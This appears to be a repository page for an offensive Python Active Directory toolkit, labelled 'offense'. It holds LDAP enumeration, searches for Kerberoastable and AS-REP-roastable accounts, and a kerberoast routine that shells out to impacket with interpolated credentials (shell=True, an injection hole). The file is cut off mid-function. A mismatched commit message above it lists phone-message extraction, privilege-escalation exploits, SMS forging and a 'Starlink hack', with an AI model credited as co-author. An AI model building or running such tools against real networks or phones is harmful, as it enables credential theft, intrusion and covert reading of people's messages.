Major RCS/SMS exploitation rewrite (v2.0): - bugle_db direct extraction (plaintext messages, no decryption needed) - CVE-2024-0044 run-as privilege escalation (Android 12-13) - AOSP RCS provider queries (content://rcs/) - Archon app relay for Shizuku-elevated bugle_db access - 7-tab web UI: Extract, Database, Forge, Modify, Exploit, Backup, Monitor - SQL query interface for extracted databases - Full backup/restore/clone with SMS Backup & Restore XML support - Known CVE database (CVE-2023-24033, CVE-2024-49415, CVE-2025-48593) - IMS/RCS diagnostics, Phenotype verbose logging, Pixel tools New modules: Starlink hack, SMS forge, SDR drone detection Archon Android app: RCS messaging module with Shizuku integration Updated manuals to v2.3, 60 web blueprints confirmed Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
1595 lines
65 KiB
Python
1595 lines
65 KiB
Python
"""AUTARCH Active Directory Audit
|
|
|
|
LDAP enumeration, Kerberoasting, AS-REP roasting, ACL analysis,
|
|
BloodHound collection, and password spray for AD security assessment.
|
|
"""
|
|
|
|
import os
|
|
import sys
|
|
import json
|
|
import time
|
|
import subprocess
|
|
import struct
|
|
import random
|
|
import threading
|
|
from pathlib import Path
|
|
from datetime import datetime, timedelta
|
|
|
|
# Module metadata
|
|
DESCRIPTION = "Active Directory enumeration & attack"
|
|
AUTHOR = "darkHal"
|
|
VERSION = "1.0"
|
|
CATEGORY = "offense"
|
|
|
|
# Path setup
|
|
try:
|
|
from core.paths import get_data_dir
|
|
except ImportError:
|
|
def get_data_dir():
|
|
return Path(__file__).parent.parent / 'data'
|
|
|
|
sys.path.insert(0, str(Path(__file__).parent.parent))
|
|
|
|
try:
|
|
from core.banner import Colors, clear_screen, display_banner
|
|
except ImportError:
|
|
class Colors:
|
|
CYAN = YELLOW = GREEN = RED = BOLD = DIM = RESET = WHITE = MAGENTA = ""
|
|
def clear_screen(): pass
|
|
def display_banner(): pass
|
|
|
|
# Optional dependency flags
|
|
try:
|
|
import ldap3
|
|
from ldap3 import Server, Connection, ALL, NTLM, SUBTREE, ALL_ATTRIBUTES
|
|
from ldap3.core.exceptions import LDAPException
|
|
HAS_LDAP3 = True
|
|
except ImportError:
|
|
HAS_LDAP3 = False
|
|
|
|
try:
|
|
from impacket.ldap import ldap as impacket_ldap
|
|
from impacket.ldap import ldapasn1 as ldapasn1
|
|
HAS_IMPACKET_LDAP = True
|
|
except ImportError:
|
|
HAS_IMPACKET_LDAP = False
|
|
|
|
try:
|
|
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
|
|
from impacket.krb5 import constants as krb5_constants
|
|
from impacket.krb5.types import Principal, KerberosTime
|
|
HAS_IMPACKET_KRB = True
|
|
except ImportError:
|
|
HAS_IMPACKET_KRB = False
|
|
|
|
# AD timestamp epoch: Jan 1, 1601
|
|
AD_EPOCH = datetime(1601, 1, 1)
|
|
|
|
# User Account Control flags
|
|
UAC_FLAGS = {
|
|
0x0001: 'SCRIPT',
|
|
0x0002: 'ACCOUNTDISABLE',
|
|
0x0008: 'HOMEDIR_REQUIRED',
|
|
0x0010: 'LOCKOUT',
|
|
0x0020: 'PASSWD_NOTREQD',
|
|
0x0040: 'PASSWD_CANT_CHANGE',
|
|
0x0080: 'ENCRYPTED_TEXT_PWD_ALLOWED',
|
|
0x0100: 'TEMP_DUPLICATE_ACCOUNT',
|
|
0x0200: 'NORMAL_ACCOUNT',
|
|
0x0800: 'INTERDOMAIN_TRUST_ACCOUNT',
|
|
0x1000: 'WORKSTATION_TRUST_ACCOUNT',
|
|
0x2000: 'SERVER_TRUST_ACCOUNT',
|
|
0x10000: 'DONT_EXPIRE_PASSWORD',
|
|
0x20000: 'MPC_LOGON_ACCOUNT',
|
|
0x40000: 'SMARTCARD_REQUIRED',
|
|
0x80000: 'TRUSTED_FOR_DELEGATION',
|
|
0x100000: 'NOT_DELEGATED',
|
|
0x200000: 'USE_DES_KEY_ONLY',
|
|
0x400000: 'DONT_REQUIRE_PREAUTH',
|
|
0x800000: 'PASSWORD_EXPIRED',
|
|
0x1000000: 'TRUSTED_TO_AUTH_FOR_DELEGATION',
|
|
0x4000000: 'PARTIAL_SECRETS_ACCOUNT',
|
|
}
|
|
|
|
# Dangerous ACE rights
|
|
DANGEROUS_RIGHTS = {
|
|
'GenericAll': 'Full control over the object',
|
|
'GenericWrite': 'Modify all attributes of the object',
|
|
'WriteOwner': 'Change the owner of the object',
|
|
'WriteDACL': 'Modify the DACL of the object',
|
|
'Self': 'Self-membership — can add self to group',
|
|
'ForceChangePassword': 'Reset the password without knowing current',
|
|
'WriteProperty-Member': 'Can modify group membership',
|
|
'WriteProperty-Script-Path': 'Can modify logon script path',
|
|
'ExtendedRight-User-Force-Change-Password': 'Force password reset',
|
|
'ExtendedRight-DS-Replication-Get-Changes': 'DCSync — replicate directory changes',
|
|
'ExtendedRight-DS-Replication-Get-Changes-All': 'DCSync — replicate all changes including secrets',
|
|
}
|
|
|
|
# Well-known SIDs
|
|
WELL_KNOWN_SIDS = {
|
|
'S-1-5-32-544': 'BUILTIN\\Administrators',
|
|
'S-1-5-32-545': 'BUILTIN\\Users',
|
|
'S-1-5-32-548': 'BUILTIN\\Account Operators',
|
|
'S-1-5-32-549': 'BUILTIN\\Server Operators',
|
|
'S-1-5-32-550': 'BUILTIN\\Print Operators',
|
|
'S-1-5-32-551': 'BUILTIN\\Backup Operators',
|
|
}
|
|
|
|
|
|
def _ad_timestamp_to_str(ts):
|
|
"""Convert AD timestamp (100-nanosecond intervals since 1601) to readable string."""
|
|
if not ts or ts == 0 or ts == '0':
|
|
return 'Never'
|
|
try:
|
|
ts = int(ts)
|
|
if ts <= 0 or ts > 2650467743990000000:
|
|
return 'Never'
|
|
seconds = ts / 10_000_000
|
|
dt = AD_EPOCH + timedelta(seconds=seconds)
|
|
return dt.strftime('%Y-%m-%d %H:%M:%S')
|
|
except (ValueError, OverflowError, OSError):
|
|
return 'Unknown'
|
|
|
|
|
|
def _parse_uac(uac_value):
|
|
"""Parse userAccountControl into list of flag names."""
|
|
try:
|
|
uac = int(uac_value)
|
|
except (ValueError, TypeError):
|
|
return []
|
|
flags = []
|
|
for bit, name in UAC_FLAGS.items():
|
|
if uac & bit:
|
|
flags.append(name)
|
|
return flags
|
|
|
|
|
|
def _get_domain_dn(domain):
|
|
"""Convert domain name to LDAP DN. e.g. corp.local -> DC=corp,DC=local"""
|
|
return ','.join(f'DC={part}' for part in domain.split('.'))
|
|
|
|
|
|
class ADToolkit:
|
|
"""Active Directory enumeration and attack toolkit."""
|
|
|
|
def __init__(self):
|
|
self.conn = None
|
|
self.server = None
|
|
self.dc_host = None
|
|
self.domain = None
|
|
self.domain_dn = None
|
|
self.username = None
|
|
self.password = None
|
|
self.use_ssl = False
|
|
self.connected = False
|
|
|
|
# Results storage
|
|
self.results = {
|
|
'users': [],
|
|
'groups': [],
|
|
'computers': [],
|
|
'ous': [],
|
|
'gpos': [],
|
|
'trusts': [],
|
|
'dcs': [],
|
|
'spn_accounts': [],
|
|
'asrep_accounts': [],
|
|
'admin_accounts': [],
|
|
'kerberoast_hashes': [],
|
|
'asrep_hashes': [],
|
|
'spray_results': [],
|
|
'acl_findings': [],
|
|
'unconstrained_delegation': [],
|
|
'constrained_delegation': [],
|
|
'bloodhound': {},
|
|
}
|
|
|
|
# Data directory
|
|
self.data_dir = Path(str(get_data_dir())) / 'ad_audit'
|
|
self.data_dir.mkdir(parents=True, exist_ok=True)
|
|
|
|
def print_status(self, message, status='info'):
|
|
colors = {'info': Colors.CYAN, 'success': Colors.GREEN,
|
|
'warning': Colors.YELLOW, 'error': Colors.RED}
|
|
symbols = {'info': '*', 'success': '+', 'warning': '!', 'error': 'X'}
|
|
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
|
|
|
|
def _run_cmd(self, cmd, timeout=120):
|
|
"""Run a shell command and return (success, stdout)."""
|
|
try:
|
|
result = subprocess.run(
|
|
cmd, shell=True, capture_output=True, text=True, timeout=timeout
|
|
)
|
|
return result.returncode == 0, result.stdout.strip()
|
|
except subprocess.TimeoutExpired:
|
|
return False, 'Command timed out'
|
|
except Exception as e:
|
|
return False, str(e)
|
|
|
|
def _save_results(self, name, data):
|
|
"""Save results to JSON in data/ad_audit/."""
|
|
ts = datetime.now().strftime('%Y%m%d_%H%M%S')
|
|
path = self.data_dir / f'{name}_{ts}.json'
|
|
with open(path, 'w') as f:
|
|
json.dump(data, f, indent=2, default=str)
|
|
return str(path)
|
|
|
|
# ========== CONNECTION ==========
|
|
|
|
def connect(self, dc_host, domain, username=None, password=None, use_ssl=False):
|
|
"""Establish LDAP connection to a Domain Controller.
|
|
|
|
Tries ldap3 first, falls back to impacket if available.
|
|
Returns dict with success status and message.
|
|
"""
|
|
self.dc_host = dc_host
|
|
self.domain = domain
|
|
self.domain_dn = _get_domain_dn(domain)
|
|
self.username = username
|
|
self.password = password
|
|
self.use_ssl = use_ssl
|
|
|
|
port = 636 if use_ssl else 389
|
|
scheme = 'ldaps' if use_ssl else 'ldap'
|
|
|
|
if HAS_LDAP3:
|
|
try:
|
|
use_tls = use_ssl
|
|
self.server = Server(
|
|
dc_host, port=port, use_ssl=use_tls,
|
|
get_info=ALL, connect_timeout=10
|
|
)
|
|
if username and password:
|
|
user_dn = f'{domain}\\{username}'
|
|
self.conn = Connection(
|
|
self.server, user=user_dn, password=password,
|
|
authentication=NTLM, auto_bind=True
|
|
)
|
|
else:
|
|
# Anonymous bind
|
|
self.conn = Connection(self.server, auto_bind=True)
|
|
|
|
self.connected = True
|
|
info_str = ''
|
|
if self.server.info:
|
|
naming = getattr(self.server.info, 'other', {})
|
|
if hasattr(self.server.info, 'naming_contexts'):
|
|
info_str = f' | Naming contexts: {len(self.server.info.naming_contexts)}'
|
|
return {
|
|
'success': True,
|
|
'message': f'Connected to {dc_host}:{port} via ldap3{info_str}',
|
|
'backend': 'ldap3'
|
|
}
|
|
except Exception as e:
|
|
self.connected = False
|
|
return {'success': False, 'message': f'ldap3 connection failed: {str(e)}'}
|
|
|
|
elif HAS_IMPACKET_LDAP:
|
|
try:
|
|
ldap_url = f'{scheme}://{dc_host}'
|
|
self.conn = impacket_ldap.LDAPConnection(ldap_url, self.domain_dn)
|
|
if username and password:
|
|
self.conn.login(username, password, domain)
|
|
self.connected = True
|
|
return {
|
|
'success': True,
|
|
'message': f'Connected to {dc_host}:{port} via impacket',
|
|
'backend': 'impacket'
|
|
}
|
|
except Exception as e:
|
|
self.connected = False
|
|
return {'success': False, 'message': f'impacket LDAP failed: {str(e)}'}
|
|
else:
|
|
return {
|
|
'success': False,
|
|
'message': 'No LDAP library available. Install ldap3 (pip install ldap3) or impacket.'
|
|
}
|
|
|
|
def disconnect(self):
|
|
"""Close the LDAP connection."""
|
|
if self.conn and HAS_LDAP3:
|
|
try:
|
|
self.conn.unbind()
|
|
except Exception:
|
|
pass
|
|
self.conn = None
|
|
self.server = None
|
|
self.connected = False
|
|
return {'success': True, 'message': 'Disconnected'}
|
|
|
|
def is_connected(self):
|
|
"""Check if currently connected to a DC."""
|
|
return self.connected and self.conn is not None
|
|
|
|
def get_connection_info(self):
|
|
"""Return current connection details."""
|
|
return {
|
|
'connected': self.is_connected(),
|
|
'dc_host': self.dc_host,
|
|
'domain': self.domain,
|
|
'domain_dn': self.domain_dn,
|
|
'username': self.username,
|
|
'use_ssl': self.use_ssl,
|
|
'backend': 'ldap3' if HAS_LDAP3 else ('impacket' if HAS_IMPACKET_LDAP else None),
|
|
'libs': {
|
|
'ldap3': HAS_LDAP3,
|
|
'impacket_ldap': HAS_IMPACKET_LDAP,
|
|
'impacket_krb': HAS_IMPACKET_KRB,
|
|
}
|
|
}
|
|
|
|
# ========== LDAP SEARCH HELPER ==========
|
|
|
|
def _ldap_search(self, search_base=None, search_filter='(objectClass=*)',
|
|
attributes=None, size_limit=0):
|
|
"""Perform LDAP search and return list of entry dicts."""
|
|
if not self.is_connected() or not HAS_LDAP3:
|
|
return []
|
|
|
|
if search_base is None:
|
|
search_base = self.domain_dn
|
|
|
|
if attributes is None:
|
|
attributes = ALL_ATTRIBUTES
|
|
|
|
try:
|
|
self.conn.search(
|
|
search_base=search_base,
|
|
search_filter=search_filter,
|
|
search_scope=SUBTREE,
|
|
attributes=attributes,
|
|
size_limit=size_limit
|
|
)
|
|
entries = []
|
|
for entry in self.conn.entries:
|
|
d = {'dn': str(entry.entry_dn)}
|
|
for attr in entry.entry_attributes:
|
|
val = entry[attr].value
|
|
if isinstance(val, list):
|
|
d[str(attr)] = [str(v) for v in val]
|
|
elif isinstance(val, bytes):
|
|
d[str(attr)] = val.hex()
|
|
elif isinstance(val, datetime):
|
|
d[str(attr)] = val.strftime('%Y-%m-%d %H:%M:%S')
|
|
else:
|
|
d[str(attr)] = str(val) if val is not None else None
|
|
entries.append(d)
|
|
return entries
|
|
except Exception as e:
|
|
self.print_status(f'LDAP search error: {e}', 'error')
|
|
return []
|
|
|
|
# ========== ENUMERATION ==========
|
|
|
|
def enumerate_users(self, search_filter=None):
|
|
"""Enumerate all domain user accounts with key attributes."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'users': []}
|
|
|
|
ldap_filter = search_filter or '(&(objectCategory=person)(objectClass=user))'
|
|
attrs = [
|
|
'sAMAccountName', 'displayName', 'distinguishedName',
|
|
'memberOf', 'lastLogon', 'lastLogonTimestamp', 'pwdLastSet',
|
|
'userAccountControl', 'description', 'mail',
|
|
'adminCount', 'servicePrincipalName', 'whenCreated'
|
|
]
|
|
|
|
raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs)
|
|
users = []
|
|
for entry in raw_entries:
|
|
uac = int(entry.get('userAccountControl', 0) or 0)
|
|
uac_flags = _parse_uac(uac)
|
|
last_logon_raw = entry.get('lastLogon') or entry.get('lastLogonTimestamp') or '0'
|
|
user = {
|
|
'username': entry.get('sAMAccountName', ''),
|
|
'display_name': entry.get('displayName', ''),
|
|
'dn': entry.get('dn', ''),
|
|
'description': entry.get('description', ''),
|
|
'mail': entry.get('mail', ''),
|
|
'member_of': entry.get('memberOf', []) if isinstance(entry.get('memberOf'), list) else ([entry.get('memberOf')] if entry.get('memberOf') else []),
|
|
'last_logon': _ad_timestamp_to_str(last_logon_raw),
|
|
'pwd_last_set': _ad_timestamp_to_str(entry.get('pwdLastSet', '0')),
|
|
'uac_value': uac,
|
|
'uac_flags': uac_flags,
|
|
'enabled': 'ACCOUNTDISABLE' not in uac_flags,
|
|
'admin_count': entry.get('adminCount', '0') == '1',
|
|
'spn': entry.get('servicePrincipalName', []) if isinstance(entry.get('servicePrincipalName'), list) else ([entry.get('servicePrincipalName')] if entry.get('servicePrincipalName') else []),
|
|
'dont_require_preauth': bool(uac & 0x400000),
|
|
'password_never_expires': bool(uac & 0x10000),
|
|
'when_created': entry.get('whenCreated', ''),
|
|
}
|
|
users.append(user)
|
|
|
|
self.results['users'] = users
|
|
self._save_results('users', users)
|
|
return {'users': users, 'count': len(users)}
|
|
|
|
def enumerate_groups(self, search_filter=None):
|
|
"""Enumerate all domain groups with their members."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'groups': []}
|
|
|
|
ldap_filter = search_filter or '(objectCategory=group)'
|
|
attrs = [
|
|
'sAMAccountName', 'distinguishedName', 'description',
|
|
'member', 'groupType', 'adminCount', 'whenCreated'
|
|
]
|
|
|
|
raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs)
|
|
groups = []
|
|
for entry in raw_entries:
|
|
members = entry.get('member', [])
|
|
if isinstance(members, str):
|
|
members = [members]
|
|
elif members is None:
|
|
members = []
|
|
|
|
group_type = int(entry.get('groupType', 0) or 0)
|
|
scope = 'Unknown'
|
|
if group_type & 0x00000002:
|
|
scope = 'Global'
|
|
elif group_type & 0x00000004:
|
|
scope = 'Domain Local'
|
|
elif group_type & 0x00000008:
|
|
scope = 'Universal'
|
|
if group_type & 0x80000000:
|
|
scope += ' (Security)'
|
|
else:
|
|
scope += ' (Distribution)'
|
|
|
|
groups.append({
|
|
'name': entry.get('sAMAccountName', ''),
|
|
'dn': entry.get('dn', ''),
|
|
'description': entry.get('description', ''),
|
|
'members': members,
|
|
'member_count': len(members),
|
|
'scope': scope,
|
|
'admin_count': entry.get('adminCount', '0') == '1',
|
|
'when_created': entry.get('whenCreated', ''),
|
|
})
|
|
|
|
self.results['groups'] = groups
|
|
self._save_results('groups', groups)
|
|
return {'groups': groups, 'count': len(groups)}
|
|
|
|
def enumerate_computers(self):
|
|
"""Enumerate domain computers with OS information."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'computers': []}
|
|
|
|
ldap_filter = '(objectCategory=computer)'
|
|
attrs = [
|
|
'sAMAccountName', 'dNSHostName', 'distinguishedName',
|
|
'operatingSystem', 'operatingSystemVersion',
|
|
'operatingSystemServicePack', 'lastLogonTimestamp',
|
|
'userAccountControl', 'whenCreated', 'description',
|
|
'msDS-AllowedToDelegateTo'
|
|
]
|
|
|
|
raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs)
|
|
computers = []
|
|
for entry in raw_entries:
|
|
uac = int(entry.get('userAccountControl', 0) or 0)
|
|
uac_flags = _parse_uac(uac)
|
|
delegate_to = entry.get('msDS-AllowedToDelegateTo', [])
|
|
if isinstance(delegate_to, str):
|
|
delegate_to = [delegate_to]
|
|
elif delegate_to is None:
|
|
delegate_to = []
|
|
|
|
computers.append({
|
|
'name': entry.get('sAMAccountName', '').rstrip('$'),
|
|
'dns_name': entry.get('dNSHostName', ''),
|
|
'dn': entry.get('dn', ''),
|
|
'os': entry.get('operatingSystem', ''),
|
|
'os_version': entry.get('operatingSystemVersion', ''),
|
|
'os_sp': entry.get('operatingSystemServicePack', ''),
|
|
'last_logon': _ad_timestamp_to_str(entry.get('lastLogonTimestamp', '0')),
|
|
'enabled': 'ACCOUNTDISABLE' not in uac_flags,
|
|
'trusted_for_delegation': bool(uac & 0x80000),
|
|
'constrained_delegation': delegate_to,
|
|
'description': entry.get('description', ''),
|
|
'when_created': entry.get('whenCreated', ''),
|
|
})
|
|
|
|
self.results['computers'] = computers
|
|
self._save_results('computers', computers)
|
|
return {'computers': computers, 'count': len(computers)}
|
|
|
|
def enumerate_ous(self):
|
|
"""Enumerate organizational units."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'ous': []}
|
|
|
|
ldap_filter = '(objectCategory=organizationalUnit)'
|
|
attrs = ['name', 'distinguishedName', 'description', 'whenCreated', 'gPLink']
|
|
|
|
raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs)
|
|
ous = []
|
|
for entry in raw_entries:
|
|
gp_link = entry.get('gPLink', '')
|
|
linked_gpos = []
|
|
if gp_link:
|
|
# Parse gpLink format: [LDAP://cn={GUID},cn=policies,...;0]
|
|
import re
|
|
linked_gpos = re.findall(r'\[LDAP://([^\]]+)\]', str(gp_link), re.IGNORECASE)
|
|
|
|
ous.append({
|
|
'name': entry.get('name', ''),
|
|
'dn': entry.get('dn', ''),
|
|
'description': entry.get('description', ''),
|
|
'linked_gpos': linked_gpos,
|
|
'when_created': entry.get('whenCreated', ''),
|
|
})
|
|
|
|
self.results['ous'] = ous
|
|
self._save_results('ous', ous)
|
|
return {'ous': ous, 'count': len(ous)}
|
|
|
|
def enumerate_gpos(self):
|
|
"""Enumerate Group Policy Objects."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'gpos': []}
|
|
|
|
ldap_filter = '(objectCategory=groupPolicyContainer)'
|
|
attrs = [
|
|
'displayName', 'distinguishedName', 'gPCFileSysPath',
|
|
'versionNumber', 'whenCreated', 'whenChanged', 'flags'
|
|
]
|
|
|
|
raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs)
|
|
gpos = []
|
|
for entry in raw_entries:
|
|
flags = int(entry.get('flags', 0) or 0)
|
|
status = 'Enabled'
|
|
if flags & 1:
|
|
status = 'User config disabled'
|
|
if flags & 2:
|
|
status = 'Computer config disabled'
|
|
if flags == 3:
|
|
status = 'All settings disabled'
|
|
|
|
gpos.append({
|
|
'name': entry.get('displayName', ''),
|
|
'dn': entry.get('dn', ''),
|
|
'path': entry.get('gPCFileSysPath', ''),
|
|
'version': entry.get('versionNumber', ''),
|
|
'status': status,
|
|
'when_created': entry.get('whenCreated', ''),
|
|
'when_changed': entry.get('whenChanged', ''),
|
|
})
|
|
|
|
self.results['gpos'] = gpos
|
|
self._save_results('gpos', gpos)
|
|
return {'gpos': gpos, 'count': len(gpos)}
|
|
|
|
def enumerate_trusts(self):
|
|
"""Enumerate domain trusts."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'trusts': []}
|
|
|
|
ldap_filter = '(objectClass=trustedDomain)'
|
|
attrs = [
|
|
'name', 'distinguishedName', 'trustDirection',
|
|
'trustType', 'trustAttributes', 'flatName',
|
|
'trustPartner', 'whenCreated'
|
|
]
|
|
|
|
raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs)
|
|
trusts = []
|
|
for entry in raw_entries:
|
|
direction_val = int(entry.get('trustDirection', 0) or 0)
|
|
direction_map = {0: 'Disabled', 1: 'Inbound', 2: 'Outbound', 3: 'Bidirectional'}
|
|
direction = direction_map.get(direction_val, f'Unknown ({direction_val})')
|
|
|
|
trust_type_val = int(entry.get('trustType', 0) or 0)
|
|
type_map = {1: 'Windows NT', 2: 'Active Directory', 3: 'MIT Kerberos', 4: 'DCE'}
|
|
trust_type = type_map.get(trust_type_val, f'Unknown ({trust_type_val})')
|
|
|
|
attrs_val = int(entry.get('trustAttributes', 0) or 0)
|
|
trust_attrs = []
|
|
if attrs_val & 1:
|
|
trust_attrs.append('Non-Transitive')
|
|
if attrs_val & 2:
|
|
trust_attrs.append('Uplevel Only')
|
|
if attrs_val & 4:
|
|
trust_attrs.append('Quarantined / SID Filtering')
|
|
if attrs_val & 8:
|
|
trust_attrs.append('Forest Trust')
|
|
if attrs_val & 16:
|
|
trust_attrs.append('Cross-Organization')
|
|
if attrs_val & 32:
|
|
trust_attrs.append('Within Forest')
|
|
if attrs_val & 64:
|
|
trust_attrs.append('Treat As External')
|
|
|
|
trusts.append({
|
|
'name': entry.get('name', ''),
|
|
'partner': entry.get('trustPartner', ''),
|
|
'flat_name': entry.get('flatName', ''),
|
|
'direction': direction,
|
|
'type': trust_type,
|
|
'attributes': trust_attrs,
|
|
'dn': entry.get('dn', ''),
|
|
'when_created': entry.get('whenCreated', ''),
|
|
})
|
|
|
|
self.results['trusts'] = trusts
|
|
self._save_results('trusts', trusts)
|
|
return {'trusts': trusts, 'count': len(trusts)}
|
|
|
|
def find_dcs(self):
|
|
"""Locate domain controllers and FSMO role holders."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'dcs': []}
|
|
|
|
# Find DCs by userAccountControl SERVER_TRUST_ACCOUNT flag
|
|
ldap_filter = '(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
|
|
attrs = [
|
|
'sAMAccountName', 'dNSHostName', 'distinguishedName',
|
|
'operatingSystem', 'operatingSystemVersion', 'whenCreated'
|
|
]
|
|
|
|
raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs)
|
|
dcs = []
|
|
for entry in raw_entries:
|
|
dcs.append({
|
|
'name': entry.get('sAMAccountName', '').rstrip('$'),
|
|
'dns_name': entry.get('dNSHostName', ''),
|
|
'dn': entry.get('dn', ''),
|
|
'os': entry.get('operatingSystem', ''),
|
|
'os_version': entry.get('operatingSystemVersion', ''),
|
|
'when_created': entry.get('whenCreated', ''),
|
|
})
|
|
|
|
# Try to find FSMO role holders from RootDSE
|
|
fsmo_roles = {}
|
|
if HAS_LDAP3 and self.server and self.server.info:
|
|
info = self.server.info
|
|
other = getattr(info, 'other', {})
|
|
for role_attr in ['schemaMaster', 'domainNamingMaster',
|
|
'ridMaster', 'pdcEmulator', 'infrastructureMaster']:
|
|
if role_attr in other:
|
|
fsmo_roles[role_attr] = str(other[role_attr])
|
|
|
|
# Also check via LDAP if server.info didn't have it
|
|
if not fsmo_roles:
|
|
# Schema Master
|
|
schema_entries = self._ldap_search(
|
|
search_base=f'CN=Schema,CN=Configuration,{self.domain_dn}',
|
|
search_filter='(objectClass=dMD)',
|
|
attributes=['fSMORoleOwner']
|
|
)
|
|
if schema_entries:
|
|
fsmo_roles['schemaMaster'] = schema_entries[0].get('fSMORoleOwner', '')
|
|
|
|
# Domain Naming Master
|
|
partitions = self._ldap_search(
|
|
search_base=f'CN=Partitions,CN=Configuration,{self.domain_dn}',
|
|
search_filter='(objectClass=crossRefContainer)',
|
|
attributes=['fSMORoleOwner']
|
|
)
|
|
if partitions:
|
|
fsmo_roles['domainNamingMaster'] = partitions[0].get('fSMORoleOwner', '')
|
|
|
|
# RID Master, PDC Emulator, Infrastructure Master
|
|
domain_entries = self._ldap_search(
|
|
search_base=self.domain_dn,
|
|
search_filter='(objectClass=domainDNS)',
|
|
attributes=['fSMORoleOwner']
|
|
)
|
|
if domain_entries:
|
|
fsmo_roles['pdcEmulator'] = domain_entries[0].get('fSMORoleOwner', '')
|
|
|
|
result = {
|
|
'dcs': dcs,
|
|
'count': len(dcs),
|
|
'fsmo_roles': fsmo_roles
|
|
}
|
|
self.results['dcs'] = dcs
|
|
self._save_results('dcs', result)
|
|
return result
|
|
|
|
# ========== ATTACK METHODS ==========
|
|
|
|
def find_spn_accounts(self):
|
|
"""Find user accounts with SPNs set (Kerberoastable)."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'accounts': []}
|
|
|
|
ldap_filter = '(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)(!(objectCategory=computer))(!(sAMAccountName=krbtgt)))'
|
|
attrs = [
|
|
'sAMAccountName', 'servicePrincipalName', 'memberOf',
|
|
'pwdLastSet', 'userAccountControl', 'adminCount',
|
|
'distinguishedName', 'description'
|
|
]
|
|
|
|
raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs)
|
|
accounts = []
|
|
for entry in raw_entries:
|
|
spns = entry.get('servicePrincipalName', [])
|
|
if isinstance(spns, str):
|
|
spns = [spns]
|
|
elif spns is None:
|
|
spns = []
|
|
|
|
uac = int(entry.get('userAccountControl', 0) or 0)
|
|
accounts.append({
|
|
'username': entry.get('sAMAccountName', ''),
|
|
'spns': spns,
|
|
'dn': entry.get('dn', ''),
|
|
'description': entry.get('description', ''),
|
|
'pwd_last_set': _ad_timestamp_to_str(entry.get('pwdLastSet', '0')),
|
|
'admin_count': entry.get('adminCount', '0') == '1',
|
|
'enabled': not bool(uac & 0x0002),
|
|
'member_of': entry.get('memberOf', []) if isinstance(entry.get('memberOf'), list) else ([entry.get('memberOf')] if entry.get('memberOf') else []),
|
|
})
|
|
|
|
self.results['spn_accounts'] = accounts
|
|
return {'accounts': accounts, 'count': len(accounts)}
|
|
|
|
def find_asrep_accounts(self):
|
|
"""Find accounts that do not require Kerberos pre-authentication."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'accounts': []}
|
|
|
|
# UF_DONT_REQUIRE_PREAUTH = 0x400000
|
|
ldap_filter = '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
|
|
attrs = [
|
|
'sAMAccountName', 'distinguishedName', 'memberOf',
|
|
'pwdLastSet', 'userAccountControl', 'description'
|
|
]
|
|
|
|
raw_entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs)
|
|
accounts = []
|
|
for entry in raw_entries:
|
|
accounts.append({
|
|
'username': entry.get('sAMAccountName', ''),
|
|
'dn': entry.get('dn', ''),
|
|
'description': entry.get('description', ''),
|
|
'pwd_last_set': _ad_timestamp_to_str(entry.get('pwdLastSet', '0')),
|
|
'member_of': entry.get('memberOf', []) if isinstance(entry.get('memberOf'), list) else ([entry.get('memberOf')] if entry.get('memberOf') else []),
|
|
})
|
|
|
|
self.results['asrep_accounts'] = accounts
|
|
return {'accounts': accounts, 'count': len(accounts)}
|
|
|
|
def kerberoast(self, dc_host, domain, username, password):
|
|
"""Request TGS tickets for SPN accounts and extract hashes.
|
|
|
|
Uses impacket's GetUserSPNs.py via subprocess, falling back to
|
|
manual TGS-REQ if impacket scripts are not available on PATH.
|
|
Returns hashes in hashcat ($krb5tgs$23$*) format.
|
|
"""
|
|
hashes = []
|
|
|
|
# Try GetUserSPNs.py from impacket
|
|
cmd = (
|
|
f'GetUserSPNs.py {domain}/{username}:{password} '
|
|
f'-dc-ip {dc_host} -request -outputfile -'
|
|
)
|
|
success, output = self._run_cmd(cmd, timeout=60)
|
|
if success and output:
|
|
for line in output.splitlines():
|
|
line = line.strip()
|
|
if line.startswith('$krb5tgs$'):
|
|
hashes.append(line)
|
|
|
|
# Also try python -m form
|
|
if not hashes:
|
|
cmd2 = (
|
|
f'python -m impacket.examples.GetUserSPNs '
|
|
f'{domain}/{username}:{password} '
|
|
f'-dc-ip {dc_host} -request -outputfile -'
|
|
)
|
|
success2, output2 = self._run_cmd(cmd2, timeout=60)
|
|
if success2 and output2:
|
|
for line in output2.splitlines():
|
|
line = line.strip()
|
|
if line.startswith('$krb5tgs$'):
|
|
hashes.append(line)
|
|
|
|
# Also try impacket-GetUserSPNs (newer naming)
|
|
if not hashes:
|
|
cmd3 = (
|
|
f'impacket-GetUserSPNs {domain}/{username}:{password} '
|
|
f'-dc-ip {dc_host} -request'
|
|
)
|
|
success3, output3 = self._run_cmd(cmd3, timeout=60)
|
|
if success3 and output3:
|
|
for line in output3.splitlines():
|
|
line = line.strip()
|
|
if line.startswith('$krb5tgs$'):
|
|
hashes.append(line)
|
|
|
|
if not hashes:
|
|
# Fallback: enumerate SPNs and note that impacket is needed
|
|
